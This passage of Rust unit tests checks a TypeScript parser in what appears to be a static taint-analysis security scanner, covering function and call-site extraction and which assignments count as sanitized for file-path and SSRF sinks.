1241 let code = r#"
1242export async function readFileContent(filePath: string) {
1243 return fs.readFile(filePath, "utf-8");
1244}
1245
1246function internalHelper(x: number) {
1247 return x + 1;
1248}
1249"#;
1250 let parsed = TypeScriptParser
1251 .parse_file(Path::new("lib.ts"), code)
1252 .unwrap();
1253 assert!(parsed.function_defs.len() >= 2);
1254 let exported = parsed
1255 .function_defs
1256 .iter()
1257 .find(|d| d.name == "readFileContent");
1258 assert!(exported.is_some());
1259 assert!(exported.unwrap().is_exported);
1260 assert_eq!(exported.unwrap().params, vec!["filePath"]);
1261
1262 let internal = parsed
1263 .function_defs
1264 .iter()
1265 .find(|d| d.name == "internalHelper");
1266 assert!(internal.is_some());
1267 assert!(!internal.unwrap().is_exported);
1268 }
1269
1270 #[test]
1271 fn extracts_call_sites() {
1272 let code = r#"
1273async function handler(args: any) {
1274 const validPath = await validatePath(args.path);
1275 const content = await readFileContent(validPath);
1276 return content;
1277}
1278"#;
1279 let parsed = TypeScriptParser
1280 .parse_file(Path::new("index.ts"), code)
1281 .unwrap();
1282 assert!(!parsed.call_sites.is_empty());
1283 let rfc_call = parsed
1284 .call_sites
1285 .iter()
1286 .find(|cs| cs.callee == "readFileContent");
1287 assert!(rfc_call.is_some(), "Should find readFileContent call site");
1288 }
1289
1290 #[test]
1291 fn detects_sanitizer_assignment() {
1292 let code = r#"
1293async function handler(args: any) {
1294 const validPath = await validatePath(args.path);
1295 const content = await readFileContent(validPath);
1296 return content;
1297}
1298"#;
1299 let parsed = TypeScriptParser
1300 .parse_file(Path::new("index.ts"), code)
1301 .unwrap();
1302 assert!(parsed.sanitized_vars.contains("validPath"));
1303
1304 let rfc_call = parsed
1306 .call_sites
1307 .iter()
1308 .find(|cs| cs.callee == "readFileContent");
1309 assert!(rfc_call.is_some());
1310 let rfc = rfc_call.unwrap();
1311 assert!(!rfc.arguments.is_empty());
1312 assert!(
1313 matches!(&rfc.arguments[0], ArgumentSource::Sanitized { .. }),
1314 "validPath should be classified as Sanitized, got: {:?}",
1315 rfc.arguments[0]
1316 );
1317 }
1318
1319 #[test]
1320 fn sanitized_var_from_path_resolve() {
1321 let code = r#"
1322function processFile(rawPath: string) {
1323 const safePath = path.resolve(rawPath);
1324 fs.readFileSync(safePath, "utf-8");
1325}
1326"#;
1327 let parsed = TypeScriptParser
1328 .parse_file(Path::new("test.ts"), code)
1329 .unwrap();
1330 assert!(parsed.sanitized_vars.contains("safePath"));
1331 }
1332
1333 #[test]
1334 fn url_parse_assignment_is_not_sanitized_for_ssrf() {
1335 let code = r#"
1336async function handler(args: { url: string }) {
1337 const parsedUrl = URL.parse(args.url);
1338 return fetch(parsedUrl);
1339}
1340"#;
1341 let parsed = TypeScriptParser
1342 .parse_file(Path::new("test.ts"), code)
1343 .unwrap();
1344
1345 assert!(!parsed.sanitized_vars.contains("parsedUrl"));
1346 assert_eq!(parsed.network_operations.len(), 1);
1347 assert!(
1348 parsed.network_operations[0].url_arg.is_tainted(),
1349 "URL.parse output must remain tainted for network sinks"
1350 );
1351 }
1352
1353 #[test]
1354 fn redaction_assignment_is_not_sanitized_for_file_paths() {
1355 let code = r#"
1356function redactSecret(value: string): string {
1357 return value.replace(/secret/g, "[REDACTED]");
1358}
1359
1360function handler(args: { path: string }) {
1361 const redactedPath = redactSecret(args.path);
1362 return fs.readFileSync(redactedPath, "utf-8");
1363}
1364"#;
1365 let parsed = TypeScriptParser
1366 .parse_file(Path::new("test.ts"), code)
1367 .unwrap();
1368
1369 assert!(!parsed.sanitized_vars.contains("redactedPath"));
1370 assert_eq!(parsed.file_operations.len(), 1);
1371 assert!(
1372 parsed.file_operations[0].path_arg.is_tainted(),
1373 "redaction output must remain tainted for file path sinks"
1374 );
1375 }
1376}